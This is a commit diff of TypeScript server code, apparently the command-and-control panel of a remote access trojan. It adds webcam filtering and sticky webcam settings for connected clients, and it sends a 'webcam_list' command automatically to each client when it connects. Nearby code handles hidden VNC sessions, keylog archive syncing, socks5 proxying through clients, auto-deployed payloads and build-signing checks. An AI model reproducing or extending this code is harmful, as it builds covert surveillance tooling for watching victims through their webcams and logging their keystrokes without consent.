show if users have webcams and make sorting options better for windows and webcam. Also make webcam settings sticky.
This commit is contained in:
@@ -84,15 +84,16 @@ export async function handleClientRoutes(
|
||||
const countryFilter = url.searchParams.get("country") || "all";
|
||||
const enrollmentFilter = url.searchParams.get("enrollmentFilter") || "approved";
|
||||
const groupFilter = url.searchParams.get("group") || "all";
|
||||
const webcamFilter = url.searchParams.get("webcam") || "all";
|
||||
const isEnrollmentRequest = url.searchParams.has("enrollmentFilter");
|
||||
|
||||
if (user.role === "admin") {
|
||||
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter });
|
||||
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, webcamFilter });
|
||||
return Response.json(result, { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
if (user.role === "operator" && isEnrollmentRequest) {
|
||||
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, builtByUserId: user.userId, requireBuildOwner: true });
|
||||
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, webcamFilter, builtByUserId: user.userId, requireBuildOwner: true });
|
||||
return Response.json(result, { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
@@ -104,7 +105,7 @@ export async function handleClientRoutes(
|
||||
const allowedClientIds = scope === "allowlist" ? listUserClientRuleIdsByAccess(user.userId, "allow") : undefined;
|
||||
const deniedClientIds = scope === "denylist" ? listUserClientRuleIdsByAccess(user.userId, "deny") : undefined;
|
||||
|
||||
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, allowedClientIds, deniedClientIds });
|
||||
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, webcamFilter, allowedClientIds, deniedClientIds });
|
||||
return Response.json(result, { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
|
||||
@@ -237,6 +237,7 @@ function summarizeCpuProfile(profile: any, durationMs: number) {
|
||||
const SHARED_UI_SETTING_FEATURES: Record<string, FeatureName> = {
|
||||
remote_desktop: "remote_desktop",
|
||||
hvnc: "hvnc",
|
||||
webcam: "webcam",
|
||||
};
|
||||
|
||||
function pickString(value: unknown, allowed: readonly string[]): string | undefined {
|
||||
@@ -299,6 +300,9 @@ function sanitizeSharedUiSettings(scope: string, raw: unknown): Record<string, u
|
||||
assignIfDefined(out, "cloneProfile", pickBoolean(input.cloneProfile));
|
||||
assignIfDefined(out, "cloneLite", pickBoolean(input.cloneLite));
|
||||
assignIfDefined(out, "killIfRunning", pickBoolean(input.killIfRunning));
|
||||
} else if (scope === "webcam") {
|
||||
assignIfDefined(out, "camera", pickSteppedNumber(input.camera, 0, 63));
|
||||
assignIfDefined(out, "fps", pickSteppedNumber(input.fps, 1, 120));
|
||||
}
|
||||
|
||||
return out;
|
||||
|
||||
@@ -18,7 +18,7 @@ import * as sessionManager from "../../sessions/sessionManager";
|
||||
import type { SocketData } from "../../sessions/types";
|
||||
import type { ClientInfo } from "../../types";
|
||||
import { clearClientSyncState, handleFrame, handleHello, handlePing, handlePong } from "../../wsHandlers";
|
||||
import { queueClientDbUpdate } from "../../client-db-sync";
|
||||
import { flushQueuedClientDbUpdates, queueClientDbUpdate } from "../../client-db-sync";
|
||||
import { getMaxPayloadLimit, getMessageByteLength, isAllowedClientMessageType } from "../../wsValidation";
|
||||
import { stopAllProxiesForClient } from "../socks5-proxy-manager";
|
||||
import { verifyBuildToken, isBuildBanned } from "../build-signing";
|
||||
@@ -668,6 +668,7 @@ export async function handleWebSocketMessage(
|
||||
}
|
||||
|
||||
await handleHello(infoObj, payload as Hello, ws, ip);
|
||||
flushQueuedClientDbUpdates();
|
||||
clientManager.addClient(infoObj.id, infoObj);
|
||||
|
||||
clearThumbnail(resolvedId);
|
||||
@@ -678,6 +679,7 @@ export async function handleWebSocketMessage(
|
||||
deps.dispatchAutoDeploysForConnection(infoObj, ws);
|
||||
deps.dispatchAutoLoadPlugins(infoObj);
|
||||
deps.dispatchKeylogArchiveSync?.(infoObj.id, ws);
|
||||
deps.sendDesktopCommand(infoObj, "webcam_list", {});
|
||||
deps.notifyDashboard();
|
||||
if (!reconnectedWithinGrace) {
|
||||
deps.notifyDashboardClientEvent("client_online", {
|
||||
@@ -840,6 +842,7 @@ export async function handleWebSocketMessage(
|
||||
break;
|
||||
case "webcam_devices":
|
||||
deps.handleWebcamDevices(client.id, payload);
|
||||
deps.notifyDashboard();
|
||||
break;
|
||||
case "hvnc_clone_progress":
|
||||
deps.handleHVNCCloneProgress(client.id, payload);
|
||||
|
||||
Reference in New Issue
Block a user